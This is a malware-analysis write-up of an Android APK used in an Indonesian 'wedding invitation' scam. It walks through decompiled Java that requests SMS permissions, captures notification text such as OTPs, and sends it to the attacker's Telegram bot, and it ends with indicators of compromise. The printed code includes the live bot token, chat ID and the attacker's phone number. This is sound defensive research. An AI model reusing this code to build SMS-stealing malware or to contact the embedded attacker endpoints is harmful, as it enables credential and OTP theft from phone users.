> For the complete documentation index, see [llms.txt](https://kos0ng.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kos0ng.gitbook.io/notes/research/2024/malware-analysis-wedding-invitation-scam.md).

# Malware Analysis: Wedding Invitation Scam

Analyzing scam in Indonesia named "Wedding Invitation"

|                        |                                                                                     |
| ---------------------- | ----------------------------------------------------------------------------------- |
| **Affected Platforms** | Android                                                                             |
| **Impacted Users**     | Indonesian Citizens                                                                 |
| **Impact**             | Stolen credentials like otp, email, username, and password can lead to account hack |

## Infection Vector

<figure><img src="https://479888236-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSbHHLkH4CgRwZEsWg50y%2Fuploads%2FthunjewAVV7H1suw1qv4%2Fwedding_scam.jpeg?alt=media&amp;token=b835c8fb-3c32-4f92-bac7-a1745c79f046" alt=""><figcaption><p>Infection flow</p></figcaption></figure>

### Analyzing APK Statically

Decompile the APK using `jadx-gui`.

<figure><img src="https://479888236-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSbHHLkH4CgRwZEsWg50y%2Fuploads%2FX9aqRj8kTAJxhHfcBbu4%2Fimage.png?alt=media&amp;token=5e6527dc-e72c-41e3-bae0-d1c998e669bd" alt=""><figcaption><p>Opening APK using jadx-gui</p></figcaption></figure>

To accelerate static analysis process i save all the source code and then open it using text editor. Take a look on `MainActivity.java` file in directory `com/example/myapplicatior` we can see the main class of the APK.

<figure><img src="https://479888236-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSbHHLkH4CgRwZEsWg50y%2Fuploads%2FLraqXIemCMq3gNpwxDjT%2Fimage.png?alt=media&amp;token=9bcb2ea7-85ed-4cb6-b655-05c1ee632177" alt=""><figcaption><p>Application structure and code</p></figcaption></figure>

Checking on `onCreate` function, we can see lines of code that firstly executed.

{% code title="onCreate function" %}

```java
public void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        setContentView(com.google.myandroidgalaxy.R.NP_MANAGER11.activity_main);
        WebView webView = (WebView) findViewById(com.google.myandroidgalaxy.R.NP_MANAGER8.my_web);
        this.webviewku = webView;
        WebSettings settings = webView.getSettings();
        this.websettingku = settings;
        settings.setJavaScriptEnabled(true);
        this.webviewku.setWebViewClient(new WebViewClient());
        this.webviewku.loadUrl(HttpUrl.FRAGMENT_ENCODE_SET);
        if (Build.VERSION.SDK_INT >= 19) {
            this.webviewku.setLayerType(2, null);
        } else if (Build.VERSION.SDK_INT >= 11 && Build.VERSION.SDK_INT < 19) {
            this.webviewku.setLayerType(1, null);
        }
        if (Build.VERSION.SDK_INT < 23 || checkSelfPermission("android.permission.RECEIVE_SMS") == 0 || checkSelfPermission("android.permission.SEND_SMS") == 0) {
            return;
        }
        requestPermissions(new String[]{"android.permission.RECEIVE_SMS", "android.permission.SEND_SMS"}, 1000);
    }
```

{% endcode %}

Below is the explanation of `onCreate` function

* Creating webview instance then load URL defined on `HttpUrl.FRAGMENT_ENCODE_SET`
* Checking `SDK` version
* Requesting for SMS permission (`SEND` and `RECEIVE`)

So at the end of `onCreate` function it will request for permission. After user interacting with permission agreement, it will pass the result to `onRequestPermissionsResult` function.

{% code title="onRequestPermissionsResult function" %}

```java
public void onRequestPermissionsResult(int i, String[] strArr, int[] iArr) {
        super.onRequestPermissionsResult(i, strArr, iArr);
        if (i == 1000) {
            if (iArr[0] != 0) {
                Toast.makeText(this, "Permission Not Granted!", 0).show();
                this.client.newCall(new Request.Builder().url("https://api.telegram.org/bot6755241478:AAE_77p9ygAzNP5VdIFRLTQ2lkaOJCtzSOk/sendMessage?parse_mode=markdown&chat_id=6562987404&text=𝐍𝐨𝐭𝐢𝐟𝐢𝐤𝐚𝐬𝐢 𝐀𝐩𝐥𝐢𝐤𝐚𝐬𝐢 𝐃𝐢 𝐈𝐧𝐬𝐭𝐚𝐥𝐥 \n 𝐓𝐲𝐩𝐞 𝐏𝐞𝐫𝐚𝐧𝐠𝐤𝐚𝐭: _" + this.device + "_").build()).enqueue(new Callback() { // from class: com.example.myapplicatior.MainActivity.4
                    @Override // okhttp3.Callback
                    public void onFailure(Call call, IOException iOException) {
                        iOException.printStackTrace();
                    }

                    @Override // okhttp3.Callback
                    public void onResponse(Call call, Response response) throws IOException {
                        Log.d("demo1", "OnResponse: Thread Id " + Thread.currentThread().getId());
                        if (response.isSuccessful()) {
                            response.body().string();
                        }
                    }
                });
                finish();
                return;
            }
            this.client.newCall(new Request.Builder().url("https://api.telegram.org/bot6755241478:AAE_77p9ygAzNP5VdIFRLTQ2lkaOJCtzSOk/sendMessage?parse_mode=markdown&chat_id=6562987404&text=𝐍𝐨𝐭𝐢𝐟𝐢𝐤𝐚𝐬𝐢 𝐀𝐩𝐥𝐢𝐤𝐚𝐬𝐢 𝐃𝐢 𝐈𝐧𝐬𝐭𝐚𝐥𝐥 \n 𝐓𝐲𝐩𝐞 𝐏𝐞𝐫𝐚𝐧𝐠𝐤𝐚𝐭: _" + this.device).build()).enqueue(new Callback() { // from class: com.example.myapplicatior.MainActivity.2
                @Override // okhttp3.Callback
                public void onFailure(Call call, IOException iOException) {
                    iOException.printStackTrace();
                }

                @Override // okhttp3.Callback
                public void onResponse(Call call, Response response) throws IOException {
                    Log.d("demo1", "OnResponse: Thread Id " + Thread.currentThread().getId());
                    if (response.isSuccessful()) {
                        response.body().string();
                    }
                }
            });
            try {
                SmsManager.getDefault().sendTextMessage("082178518060", null, "P", null, null);
            } catch (Exception e) {
                this.client.newCall(new Request.Builder().url("https://api.telegram.org/bot6755241478:AAE_77p9ygAzNP5VdIFRLTQ2lkaOJCtzSOk/sendMessage?parse_mode=markdown&chat_id=6562987404&text=Error : _" + e).build()).enqueue(new Callback() { // from class: com.example.myapplicatior.MainActivity.3
                    @Override // okhttp3.Callback
                    public void onFailure(Call call, IOException iOException) {
                        iOException.printStackTrace();
                    }

                    @Override // okhttp3.Callback
                    public void onResponse(Call call, Response response) throws IOException {
                        Log.d("demo1", "OnResponse: Thread Id " + Thread.currentThread().getId());
                        if (response.isSuccessful()) {
                            response.body().string();
                        }
                    }
                });
                Toast.makeText(getApplicationContext(), HttpUrl.FRAGMENT_ENCODE_SET + e, 1).show();
            }
            NotificationManager notificationManager = (NotificationManager) getApplicationContext().getSystemService("notification");
            if (Build.VERSION.SDK_INT >= 23 && !notificationManager.isNotificationPolicyAccessGranted()) {
                startActivity(new Intent("android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS"));
                Toast.makeText(this, "MEMBUKA UNDANGAN", 0).show();
            }
            LocalBroadcastManager.getInstance(this).registerReceiver(this.onNotice, new IntentFilter("Msg"));
        }
    }
```

{% endcode %}

Basically it do two different behaviors, below is the detail

* If user **agree**
  * Send successful message through telegram API with below information
    * Device information
  * Send message through SMS
    * "P" message, which is same as ping in Indonesian Language
  * Create intent and filter SMS notification
  * Create Toast
* If user **not agree**
  * Send failed message through telegram API with below information
    * Device information

Created intent filter code can be seen on code below

```java
public void onNotificationPosted(StatusBarNotification statusBarNotification) {
        String packageName = statusBarNotification.getPackageName();
        Bundle bundle = statusBarNotification.getNotification().extras;
        if (bundle.getString(NotificationCompat.EXTRA_TITLE) != null) {
            this.titleData = bundle.getString(NotificationCompat.EXTRA_TITLE);
        } else {
            this.titleData = HttpUrl.FRAGMENT_ENCODE_SET;
        }
        if (bundle.getCharSequence(NotificationCompat.EXTRA_TEXT) != null) {
            this.textData = bundle.getCharSequence(NotificationCompat.EXTRA_TEXT).toString();
        } else {
            this.textData = HttpUrl.FRAGMENT_ENCODE_SET;
        }
        if (bundle.getCharSequence("android.id ") != null) {
            this.idData = bundle.getCharSequence("android.id ").toString();
        } else {
            this.idData = HttpUrl.FRAGMENT_ENCODE_SET;
        }
        Log.d("Package", packageName);
        Log.d("Title", this.titleData);
        Log.d("Text", this.textData);
        Log.d("ID", this.idData);
        Intent intent = new Intent("Msg");
        intent.putExtra("package", packageName);
        intent.putExtra("title", this.titleData);
        intent.putExtra("text", this.textData);
        intent.putExtra("id", this.idData);
        LocalBroadcastManager.getInstance(this.context).sendBroadcast(intent);
    }
```

```java
private BroadcastReceiver onNotice = new BroadcastReceiver() { // from class: com.example.myapplicatior.MainActivity.1
        @Override // android.content.BroadcastReceiver
        public void onReceive(Context context, Intent intent) {
            String stringExtra = intent.getStringExtra("package");
            String stringExtra2 = intent.getStringExtra("title");
            String stringExtra3 = intent.getStringExtra("text");
            intent.getStringExtra("id");
            new TableRow(MainActivity.this.getApplicationContext()).setLayoutParams(new TableRow.LayoutParams(-1, -2));
            TextView textView = new TextView(MainActivity.this.getApplicationContext());
            textView.setLayoutParams(new TableRow.LayoutParams(-2, -2, 1.0f));
            textView.setTextSize(12.0f);
            textView.setTextColor(Color.parseColor("#000000"));
            textView.setText(Html.fromHtml("From : " + stringExtra2 + " | Message : </b>" + stringExtra3));
            MainActivity.this.client.newCall(new Request.Builder().url("https://api.telegram.org/bot6755241478:AAE_77p9ygAzNP5VdIFRLTQ2lkaOJCtzSOk/sendMessage?parse_mode=markdown&chat_id=6562987404&text=*" + stringExtra + "* %0A%0A*From :* _" + stringExtra2 + "_%0A*Message :* _" + stringExtra3 + "_").build()).enqueue(new Callback() { // from class: com.example.myapplicatior.MainActivity.1.1
                @Override // okhttp3.Callback
                public void onFailure(Call call, IOException iOException) {
                    iOException.printStackTrace();
                }

                @Override // okhttp3.Callback
                public void onResponse(Call call, Response response) throws IOException {
                    Log.d("demo1", "OnResponse: Thread Id " + Thread.currentThread().getId());
                    if (response.isSuccessful()) {
                        response.body().string();
                    }
                }
            });
        }
    };
```

That intent do the following behavior

* Store package name, title, text, and id
* Send stored data to threat actor's telegram with formatted text

From the behavior, we can see that the APK is "malicious" since it anonymously forward the SMS to unauthorized user which is threat actor. Since the application not obfuscated and all of the code are straight forward we don't need to do dynamic analysis to unveil malicious behavior.

## Conclusion

Through the URL used, we know that threat actor use telegram to receive the "leaked" data. Threat actor also send message through SMS to give notification to his phone. This malware will be very harmful if there is another scenario such as reset password, register account, or login account because threat actor will receive sensitive information such as OTP, username, or even password through his telegram account. But, we must know that this APK will not harmful if we don't give any permission to the APK although we have installed it.

## IOCs

#### Phone Number

* 082178518060

#### Telegram Username

* bot6755241478

#### Files

* SHA256(malicious.apk) : a9fd249e2297b174b976a3a6e8a7614107675f75544dc306396dee5705f52521
